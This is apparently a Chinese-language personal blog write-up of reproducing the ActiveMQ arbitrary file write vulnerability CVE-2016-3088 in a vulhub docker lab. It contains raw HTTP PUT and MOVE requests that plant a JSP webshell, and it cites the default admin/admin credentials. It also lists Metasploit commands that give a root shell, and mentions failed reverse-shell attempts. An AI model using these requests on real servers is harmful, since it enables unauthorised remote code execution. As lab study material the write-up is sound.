CVE-2016-3088

作者: 3mi1e | 来源:发表于2019-07-20 19:38 被阅读77次

    vulhub-2019-0720(ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    1.漏洞影响版本

    ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

    2.漏洞危害

    任意文件写入

    3.漏洞POC
    部署虚拟机
    cd vulhub/activemq/CVE-2016-3088              //进入本次复现的漏洞目录
    docker-compose up -d                           //docker-compose搭建环境
    
    为什么done还在下载!!!! 验证docker是否正常启动
    访问下列URL:
    http://192.168.11.129:8161/admin/test/systemProperties.jsp
    ActiveMQ默认用户名密码:
    username:admin
    password:admin
    
    查看activemq绝对路径

    注:欢迎大佬指导,邮箱xu515727574@163.com
    我试了很多次,这个环境我每次move的时候都是服务器无响应。所以放弃了vulhub的复现方法,不过知道了原理。

    上传WEBSHELL

    PUT /fileserver/2.txt HTTP/1.1
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 120976
    
    webshell...
    

    MOVEWEBSHELL

    MOVE /fileserver/2.txt HTTP/1.1
    Destination: file:///opt/activemq/webapps/api/s.jsp
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 0
    

    !!!!!另一种思路

    msfconsole
    search cve-2016-3088
    use exploit/multi/http/apache_activemq_upload_jsp
    show options
    set JSP shell.jsp
    set RHOST 192.168.11.129
    run
    

    可以看见已经获得root的shell,但是不是交互式的


    root权限,无交互式shell

    本想靠着python溢出,获取交互式shell,发现靶机上没有安装python。
    也试了一些其他的方法:
    bash弹shell,nc监听。
    msfvenom弹shell监听。
    都没有成功,只能忍受这个命令行。

    4.复盘

    漏洞出现原因
    就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。
    总结
    1.漏洞复现过程很简单,但本人愚钝只能靠msf复现。
    2.缺少msf脚本阅读以及编写能力。
    3.缺少内网渗透能力,弹交互式shell方法太少。

    相关文章

      网友评论

        本文标题:CVE-2016-3088

        本文链接:https://www.haomeiwen.com/subject/gkoulctx.html